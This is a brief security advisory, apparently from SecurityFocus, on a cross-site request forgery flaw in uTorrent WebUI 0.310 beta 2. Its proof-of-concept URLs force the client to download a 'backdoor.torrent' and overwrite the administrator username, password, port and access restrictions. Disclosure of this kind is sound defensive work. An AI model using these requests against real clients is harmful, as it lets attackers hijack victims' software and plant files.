source: https://www.securityfocus.com/bid/28847/info
uTorrent WebUI is prone to a cross-site request-forgery vulnerability.
Exploiting this issue may allow a remote attacker to execute arbitrary actions in the context of the affected application.
uTorrent WebUI 0.310 beta 2 is vulnerable; other versions may also be affected.
To force a file download:
http://www.example.com:8080/gui/?action=add-url&s=http://localhost/backdoor.torrent
To change administrative credentials and settings:
http://www.example.com:8080/gui/?action=setsetting&s=webui.username&v=badmin
http://www.example.com:8080/gui/?action=setsetting&s=webui.password&v=badmin
http://www.example.com:8080/gui/?action=setsetting&s=webui.port&v=4096 http://www.example.com:8080/gui/?action=setsetting&s=webui.restrict&v=127.0.0.1/24,10.1.1.1
